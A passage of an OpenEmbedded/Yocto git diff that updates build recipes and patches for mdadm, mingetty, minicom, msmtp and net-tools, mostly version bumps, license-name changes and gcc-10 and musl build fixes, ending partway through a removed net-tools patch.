@@ -0,0 +1,110 @@
+SUMMARY = "Tool for managing software RAID under Linux"
+HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
+DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices."
+
+# Some files are GPL-2.0-only while others are GPL-2.0-or-later.
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
+ file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
+
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://mdadm-3.3.2_x32_abi_time_t.patch \
+ file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
+ file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
+ file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
+ file://0001-fix-gcc-8-format-truncation-warning.patch \
+ file://debian-no-Werror.patch \
+ file://0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch \
+ file://mdadm.init \
+ file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \
+ file://include_sysmacros.patch \
+ file://0001-mdadm-skip-test-11spare-migration.patch \
+ file://0001-Fix-parsing-of-r-in-monitor-manager-mode.patch \
+ file://0001-Makefile-install-mdcheck.patch \
+ "
+
+SRC_URI[sha256sum] = "461c215670864bb74a4d1a3620684aa2b2f8296dffa06743f26dda5557acf01d"
+
+inherit autotools-brokensep ptest systemd
+
+DEPENDS = "udev"
+
+SYSTEMD_SERVICE:${PN} = "mdmonitor.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+CFLAGS:append:toolchain-clang = " -Wno-error=address-of-packed-member"
+
+# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
+# prevents 64-bit userland from seeing this definition, instead defaulting
+# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
+# int-ll64.h included
+CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
+
+EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \
+ BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev"'
+
+DEBUG_OPTIMIZATION:append = " -Wno-error"
+
+do_compile() {
+ oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
+}
+
+do_install() {
+ export STRIP=""
+ autotools_do_install
+}
+
+do_install:append() {
+ install -d ${D}/${sysconfdir}/
+ install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
+ install -d ${D}/${sysconfdir}/init.d
+ install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
+}
+
+do_install:append() {
+ oe_runmake install-systemd DESTDIR=${D}
+}
+
+do_compile_ptest() {
+ oe_runmake test
+}
+
+do_install_ptest() {
+ cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
+ cp ${S}/test ${D}${PTEST_PATH}
+ sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test
+ sed -e 's!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/tests/*
+ sed -i -e '/echo -ne "$_script... "/d' \
+ -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
+ -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
+ -e '/die "dmesg prints errors when testing $_basename!"/i\\t\t\t\techo -ne "FAIL: $_script" &&' \
+ ${D}${PTEST_PATH}/test
+
+ chmod +x ${D}${PTEST_PATH}/test
+
+ ln -s ${base_sbindir}/mdadm ${D}${PTEST_PATH}/mdadm
+ for prg in test_stripe swap_super raid6check
+ do
+ install -D -m 755 $prg ${D}${PTEST_PATH}/
+ done
+}
+
+RDEPENDS:${PN} += "bash"
+RDEPENDS:${PN}-ptest += "bash e2fsprogs-mke2fs"
+RRECOMMENDS:${PN}-ptest += " \
+ coreutils \
+ util-linux \
+ kernel-module-loop \
+ kernel-module-linear \
+ kernel-module-raid0 \
+ kernel-module-raid1 \
+ kernel-module-raid10 \
+ kernel-module-raid456 \
+"
+
+FILES:${PN} += "${systemd_unitdir}/*"
diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb
index 491b892093..7a16c65299 100644
--- a/meta/recipes-extended/mingetty/mingetty_1.08.bb
+++ b/meta/recipes-extended/mingetty/mingetty_1.08.bb
@@ -1,7 +1,8 @@
SUMMARY = "Compact getty terminal handler for virtual consoles only"
SECTION = "console/utils"
HOMEPAGE = "http://sourceforge.net/projects/mingetty/"
-LICENSE = "GPLv2"
+DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app."
+LICENSE = "GPL-2.0-only"
PR = "r3"
LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e"
@@ -23,7 +24,7 @@ do_install(){
inherit update-alternatives
-ALTERNATIVE_${PN} = "getty"
+ALTERNATIVE:${PN} = "getty"
ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty"
ALTERNATIVE_PRIORITY = "10"
diff --git a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
new file mode 100644
index 0000000000..01b23898e7
--- /dev/null
+++ b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
@@ -0,0 +1,35 @@
+From b65152ebc03832972115e6d98e50cb6190d01793 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
+Date: Mon, 3 Feb 2020 13:18:13 +0100
+Subject: [PATCH 1/3] Drop superfluous global variable definitions
+
+The file minicom.c, by including the minicom.h header, already defines
+the global variables 'dial_user' and 'dial_pass'. The object file
+minicom.o is always linked to dial.o. Thus the definitions in dial.c
+can be dropped.
+
+This fixes linking with gcc 10 which uses -fno-common by default,
+disallowing multiple global variable definitions.
+
+Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/db269bba2a68fde03f5df45ac8372a8f1248ca96]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/dial.c | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/src/dial.c b/src/dial.c
+index eada5ee..d9d481f 100644
+--- a/src/dial.c
++++ b/src/dial.c
+@@ -146,8 +146,6 @@ static int newtype;
+ /* Access to ".dialdir" denied? */
+ static int dendd = 0;
+ static char *tagged;
+-char *dial_user;
+-char *dial_pass;
+
+ /* Change the baud rate. Treat all characters in the given array as if
+ * they were key presses within the comm parameters dialog (C-A P) and
+--
+2.24.1
+
diff --git a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch b/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
deleted file mode 100644
index fec67fdd3f..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From d62a5862e26ed3fc58d789efe9c40ca6c911d36b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 22:35:31 +0000
-Subject: [PATCH] Fix build issus surfaced due to musl
-
-src/getsdir.h:28:14: error: 'MAXNAMLEN' undeclared here (not in a function)
- char fname[MAXNAMLEN + 1]; /* filename + terminating null */
-
-src/dial.c:352:22: error: 'KIOCSOUND' undeclared (first use in this function)
-| ioctl(consolefd, KIOCSOUND, k);
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/dial.c | 2 +-
- src/getsdir.c | 1 +
- 2 files changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/dial.c b/src/dial.c
-index a90c1d2..bf02574 100644
---- a/src/dial.c
-+++ b/src/dial.c
-@@ -39,7 +39,7 @@
- #include "intl.h"
-
- #ifdef VC_MUSIC
--# if defined(__GLIBC__)
-+# if defined(__GLIBC__) || defined(__linux__)
- # include <sys/ioctl.h>
- # include <sys/kd.h>
- # include <sys/time.h>
-diff --git a/src/getsdir.c b/src/getsdir.c
-index 2195b27..b61a361 100644
---- a/src/getsdir.c
-+++ b/src/getsdir.c
-@@ -30,6 +30,7 @@
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-+#include <sys/param.h>
- #include <errno.h>
-
- #include "getsdir.h"
---
-2.5.1
-
diff --git a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
index bd8261c979..9e67126f3e 100644
--- a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
+++ b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
@@ -1,35 +1,33 @@
-Subject: [PATCH] fix minicom -h/-v return value is not 0
+Exit normally for help/verison options
-Upstream-Status: Pending
-
-Signed-off-by: Lu Chong <Chong.Lu@windriver.com>
+If -v or -h is used for the help/version information, it is a normal exit situation,
+not an error condition. Sometimes these are used as a simple operation test of the
+resulting binary so the exit code does matter.
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Submitted [https://salsa.debian.org/minicom-team/minicom/-/merge_requests/14]
---
src/minicom.c | 6 ++----
1 file changed, 2 insertions(+), 4 deletions(-)
-diff --git a/src/minicom.c b/src/minicom.c
-index e1a557b..730da7c 100644
---- a/src/minicom.c
-+++ b/src/minicom.c
-@@ -1166,15 +1166,13 @@ int main(int argc, char **argv)
- "modify it under the terms of the GNU General Public License\n"
+Index: minicom-2.8/src/minicom.c
+===================================================================
+--- minicom-2.8.orig/src/minicom.c
++++ minicom-2.8/src/minicom.c
+@@ -1257,14 +1257,14 @@ int main(int argc, char **argv)
+ "modify it under the terms of the GNU General Public License\n"
"as published by the Free Software Foundation; either version\n"
- "2 of the License, or (at your option) any later version.\n\n");
+ "2 of the License, or (at your option) any later version.\n\n"));
- exit(1);
-- break;
+ exit(0);
+ break;
case 's': /* setup mode */
dosetup = 1;
break;
case 'h':
helpthem();
- exit(1);
-- break;
+ exit(0);
+ break;
case 'p': /* Pseudo terminal to use. */
if (strncmp(optarg, "/dev/", 5) == 0)
- optarg += 5;
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
new file mode 100644
index 0000000000..e86b470b7e
--- /dev/null
+++ b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
@@ -0,0 +1,37 @@
+From 924bd2da3a00e030e29d82b74ef82900bd50b475 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
+Date: Mon, 3 Feb 2020 13:18:33 +0100
+Subject: [PATCH 2/3] Drop superfluous global variable definitions
+
+The only place where the EXTERN macro mechanism is used to define the
+global variables 'vt_outmap' and 'vt_inmap' is minicom.c (by defining
+an empty EXTERN macro and including the minicom.h header). The file
+vt100.c already defines these variables. The vt100.o object file is
+always linked to minicom.o. Thus it is safe not to define the
+variables in minicom.c and only declare them in the minicom.h header.
+
+This fixes linking with gcc 10 which uses -fno-common by default,
+disallowing multiple global variable definitions.
+
+Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/c69cad5b5dda85d361a3a0c1fddc65e933f26d11]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/minicom.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/minicom.h b/src/minicom.h
+index 061c013..0f9693b 100644
+--- a/src/minicom.h
++++ b/src/minicom.h
+@@ -141,7 +141,7 @@ EXTERN int sbcolor; /* Status Bar Background Color */
+ EXTERN int st_attr; /* Status Bar attributes. */
+
+ /* jl 04.09.97 conversion tables */
+-EXTERN unsigned char vt_outmap[256], vt_inmap[256];
++extern unsigned char vt_outmap[256], vt_inmap[256];
+
+ /* MARK updated 02/17/95 - history buffer */
+ EXTERN int num_hist_lines; /* History buffer size */
+--
+2.24.1
+
diff --git a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
new file mode 100644
index 0000000000..3225a0c32a
--- /dev/null
+++ b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
@@ -0,0 +1,42 @@
+From a4fc603b3641d2efe31479116eb7ba66932901c7 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
+Date: Mon, 3 Feb 2020 13:21:41 +0100
+Subject: [PATCH 3/3] Drop superfluous global variable definitions
+
+The only place where the EXTERN macro mechanism is used to define the
+global variables 'portfd_is_socket', 'portfd_is_connected' and
+'portfd_sock_addr' is minicom.c (by defining an empty EXTERN macro and
+including the minicom.h header). The source file sysdep1_s.c already
+defines these variables. The sysdep1_s.o object file is always linked
+to minicom.o. Thus it is safe to drop the definitions from minicom.c
+and only declare the variables in the minicom.h header.
+
+This fixes linking with gcc 10 which uses -fno-common by default,
+disallowing multiple global variable definitions.
+
+Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/c8382374c5d340aa4115d527aed76e876ee5456b]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/minicom.h | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/minicom.h b/src/minicom.h
+index 0f9693b..1e7cb8c 100644
+--- a/src/minicom.h
++++ b/src/minicom.h
+@@ -113,9 +113,9 @@ EXTERN char *dial_user; /* Our username there */
+ EXTERN char *dial_pass; /* Our password */
+
+ #ifdef USE_SOCKET
+-EXTERN int portfd_is_socket; /* File descriptor is a unix socket */
+-EXTERN int portfd_is_connected; /* 1 if the socket is connected */
+-EXTERN struct sockaddr_un portfd_sock_addr; /* the unix socket address */
++extern int portfd_is_socket; /* File descriptor is a unix socket */
++extern int portfd_is_connected; /* 1 if the socket is connected */
++extern struct sockaddr_un portfd_sock_addr; /* the unix socket address */
+ #define portfd_connected ((portfd_is_socket && !portfd_is_connected) \
+ ? -1 : portfd)
+ #else
+--
+2.24.1
+
diff --git a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
index f5c08896ff..39dc5c0492 100644
--- a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
+++ b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
@@ -1,10 +1,19 @@
-Upstream-Status: Pending
+configure: Allow lockdev to be disabled
+
+When the pkgconfig dependencies may be present, it is useful to be
+able to explictly disable the lockdev dependency. This adds such an
+option.
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://salsa.debian.org/minicom-team/minicom/-/merge_requests/14]
---- a/configure.in 2013-02-06 18:18:13.000000000 +0100
-+++ b/configure.in 2013-07-21 15:31:27.614828894 +0200
-@@ -40,7 +40,13 @@
+Index: minicom-2.8/configure.ac
+===================================================================
+--- minicom-2.8.orig/configure.ac
++++ minicom-2.8/configure.ac
+@@ -43,7 +43,13 @@ if test "x$enable_socket" = xyes; then
fi
PKG_PROG_PKG_CONFIG
diff --git a/meta/recipes-extended/minicom/minicom_2.7.1.bb b/meta/recipes-extended/minicom/minicom_2.7.1.bb
deleted file mode 100644
index 1e6f1317eb..0000000000
--- a/meta/recipes-extended/minicom/minicom_2.7.1.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Text-based modem control and terminal emulation program"
-HOMEPAGE = "http://alioth.debian.org/projects/minicom/"
-DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
-SECTION = "console/network"
-DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
- file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://allow.to.disable.lockdev.patch \
- file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
- file://0001-Fix-build-issus-surfaced-due-to-musl.patch \
- "
-
-SRC_URI[md5sum] = "9021cb8c5445f6e6e74b2acc39962d62"
-SRC_URI[sha256sum] = "532f836b7a677eb0cb1dca8d70302b73729c3d30df26d58368d712e5cca041f1"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
-
-inherit autotools gettext pkgconfig
-
-do_install() {
- for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
-}
-
-RRECOMMENDS_${PN} += "lrzsz"
diff --git a/meta/recipes-extended/minicom/minicom_2.8.bb b/meta/recipes-extended/minicom/minicom_2.8.bb
new file mode 100644
index 0000000000..2640c6b057
--- /dev/null
+++ b/meta/recipes-extended/minicom/minicom_2.8.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Text-based modem control and terminal emulation program"
+HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
+DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
+SECTION = "console/network"
+DEPENDS = "ncurses virtual/libiconv"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
+ file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2 \
+ file://allow.to.disable.lockdev.patch \
+ file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
+"
+
+SRC_URI[sha256sum] = "38cea30913a20349326ff3f1763ee1512b7b41601c24f065f365e18e9db0beba"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
+
+inherit autotools gettext pkgconfig
+
+do_install() {
+ for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
+}
+
+RRECOMMENDS:${PN} += "lrzsz"
+
+RDEPENDS:${PN} += "ncurses-terminfo-base"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.19.bb b/meta/recipes-extended/msmtp/msmtp_1.8.19.bb
new file mode 100644
index 0000000000..bdbb1daadd
--- /dev/null
+++ b/meta/recipes-extended/msmtp/msmtp_1.8.19.bb
@@ -0,0 +1,27 @@
+SUMMARY = "msmtp is an SMTP client"
+DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
+HOMEPAGE = "https://marlam.de/msmtp/"
+SECTION = "console/network"
+
+LICENSE = "GPL-3.0-only"
+DEPENDS = "zlib gnutls"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
+
+SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
+SRC_URI[sha256sum] = "34a1e1981176874dbe4ee66ee0d9103c90989aa4dcdc4861e4de05ce7e44526b"
+
+inherit gettext autotools update-alternatives pkgconfig
+
+EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
+
+ALTERNATIVE:${PN} = "sendmail"
+# /usr/lib/sendmial is required by LSB core test
+ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail"
+ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
+ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.6.bb b/meta/recipes-extended/msmtp/msmtp_1.8.6.bb
deleted file mode 100644
index 809144b783..0000000000
--- a/meta/recipes-extended/msmtp/msmtp_1.8.6.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "msmtp is an SMTP client"
-DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
-HOMEPAGE = "https://marlam.de/msmtp/"
-SECTION = "console/network"
-
-LICENSE = "GPLv3"
-DEPENDS = "zlib gnutls"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
-
-SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
-SRC_URI[md5sum] = "adff4a9992e1b47aa5468b974550304e"
-SRC_URI[sha256sum] = "6625f147430c65ba8527f52c4fe5d4d33552d3c0fb6d793ba7df819a3b3042e1"
-
-inherit gettext autotools update-alternatives pkgconfig
-
-EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
-
-ALTERNATIVE_${PN} = "sendmail"
-# /usr/lib/sendmial is required by LSB core test
-ALTERNATIVE_${PN}_linuxstdbase = "sendmail usr-lib-sendmail"
-ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
-ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
-ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
-ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch b/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch
deleted file mode 100644
index 8be45ccac9..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch
+++ /dev/null
@@ -1,87 +0,0 @@
-From 08abfcd923e9f37d1902db26771b1dc6731eb265 Mon Sep 17 00:00:00 2001
-From: Jiri Popelka <jpopelka@redhat.com>
-Date: Fri, 27 Sep 2013 18:40:06 +0200
-Subject: [PATCH 1/1] lib/inet6.c:INET6_rresolve() - various fixes
-
-1) Fall-back to numeric address if getnameinfo fails.
- Reverse lookup is not mandatory, therefore its fail
- is not an error. Just return numeric address in that case.
- This makes netstat/route show IPv6 address instead of
- [UNKNOWN] in case of DNS problems.
-
-2) Pass length of 'name' buffer into function.
- 'name' is a pointer and therefore sizeof(name)
- returns size of pointer and not size of the buffer.
- see http://stackoverflow.com/questions/14298710/c-pointers-and-arrays-sizeof-operator
- The sizeof() usage was added with commit 604785adc,
- so I checked all the other changes in that commit
- and they seem to be OK.
-
-3) remove unused 's' variable
-
-Upstream-Status: Pending
-
-Signed-off-by: Shan Hai <shan.hai@windriver.com>
-Signed-off-by: Jianchuan Wang <jianchuan.wang@windriver.com>
----
- lib/inet6.c | 21 ++++++++++-----------
- 1 file changed, 10 insertions(+), 11 deletions(-)
-
-diff --git a/lib/inet6.c b/lib/inet6.c
-index 9a484a0..2a9c459 100644
---- a/lib/inet6.c
-+++ b/lib/inet6.c
-@@ -84,10 +84,9 @@ static int INET6_resolve(char *name, struct sockaddr_in6 *sin6)
- #endif
-
-
--static int INET6_rresolve(char *name, struct sockaddr_in6 *sin6, int numeric)
-+static int INET6_rresolve(char *name, size_t namelen,
-+ struct sockaddr_in6 *sin6, int numeric)
- {
-- int s;
--
- /* Grmpf. -FvK */
- if (sin6->sin6_family != AF_INET6) {
- #ifdef DEBUG
-@@ -98,21 +97,20 @@ static int INET6_rresolve(char *name, struct sockaddr_in6 *sin6, int numeric)
- return (-1);
- }
- if (numeric & 0x7FFF) {
-- inet_ntop( AF_INET6, &sin6->sin6_addr, name, 80);
-+ inet_ntop( AF_INET6, &sin6->sin6_addr, name, namelen);
- return (0);
- }
- if (IN6_IS_ADDR_UNSPECIFIED(&sin6->sin6_addr)) {
- if (numeric & 0x8000)
-- strcpy(name, "default");
-+ safe_strncpy(name, "default", namelen);
- else
-- strcpy(name, "[::]");
-+ safe_strncpy(name, "[::]", namelen);
- return (0);
- }
-
-- if ((s = getnameinfo((struct sockaddr *) sin6, sizeof(struct sockaddr_in6),
-- name, 255 /* !! */ , NULL, 0, 0))) {
-- fputs("getnameinfo failed\n", stderr);
-- return -1;
-+ if (getnameinfo((struct sockaddr *) sin6, sizeof(struct sockaddr_in6),
-+ name, namelen , NULL, 0, 0)) {
-+ inet_ntop( AF_INET6, &sin6->sin6_addr, name, namelen);
- }
- return (0);
- }
-@@ -143,7 +141,8 @@ static char *INET6_sprint(struct sockaddr *sap, int numeric)
-
- if (sap->sa_family == 0xFFFF || sap->sa_family == 0)
- return safe_strncpy(buff, _("[NONE SET]"), sizeof(buff));
-- if (INET6_rresolve(buff, (struct sockaddr_in6 *) sap, numeric) != 0)
-+ if (INET6_rresolve(buff, sizeof(buff),
-+ (struct sockaddr_in6 *) sap, numeric) != 0)
- return safe_strncpy(buff, _("[UNKNOWN]"), sizeof(buff));
- return (fix_v4_address(buff, &((struct sockaddr_in6 *)sap)->sin6_addr));
- }
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch b/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch
new file mode 100644
index 0000000000..f15d3654c7
--- /dev/null
+++ b/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch
@@ -0,0 +1,15 @@
+Description: Add missing headers
+
+Upstream-Status: Pending
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+
+--- a/netstat.c
++++ b/netstat.c
+@@ -88,6 +88,7 @@
+ #include <sys/stat.h>
+ #include <net/if.h>
+ #include <dirent.h>
++#include <sys/types.h>
+
+ #include "net-support.h"
+ #include "pathnames.h"
diff --git a/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch b/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch
deleted file mode 100644
index 06f81420e9..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 81814dc2b14843009193efd307d814c26baa61f0 Mon Sep 17 00:00:00 2001
-From: Jiri Popelka <jpopelka@redhat.com>
-Date: Wed, 7 Dec 2011 19:14:09 +0100
-Subject: [PATCH] ifconfig interface:0 del <IP> will remove the aliased IP on IA64
-
-Upstream-Status: Backport
-
-commit 81814dc2b14843009193efd307d814c26baa61f0 from
-git://git.code.sf.net/p/net-tools/code
-
----
- ifconfig.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/ifconfig.c b/ifconfig.c
-index bc405c6..dae8922 100644
---- a/ifconfig.c
-+++ b/ifconfig.c
-@@ -890,7 +890,9 @@ int main(int argc, char **argv)
- continue;
- }
-
-- memcpy(&ip, &sin.sin_addr.s_addr, sizeof(unsigned long));
-+ /* Clear "ip" in case sizeof(unsigned long) > sizeof(sin.sin_addr.s_addr) */
-+ ip = 0;
-+ memcpy(&ip, &sin.sin_addr.s_addr, sizeof(sin.sin_addr.s_addr));
-
- if (get_nmbc_parent(ifr.ifr_name, &nm, &bc) < 0) {
- fprintf(stderr, _("Interface %s not initialized\n"),
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch b/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch
deleted file mode 100644
index f694d594bf..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-Adjust headers for non-glibc cases
-especially exposed by musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: net-tools-1.60/lib/inet6_gr.c
-===================================================================
---- net-tools-1.60.orig/lib/inet6_gr.c
-+++ net-tools-1.60/lib/inet6_gr.c
-@@ -23,7 +23,7 @@
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
--#ifndef __GLIBC__
-+#ifdef HAVE_IPV6_ROUTE_H
- #include <netinet6/ipv6_route.h> /* glibc doesn't have this */
- #endif
- #include "version.h"
-Index: net-tools-1.60/lib/inet6_sr.c
-===================================================================
---- net-tools-1.60.orig/lib/inet6_sr.c
-+++ net-tools-1.60/lib/inet6_sr.c
-@@ -23,10 +23,10 @@
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
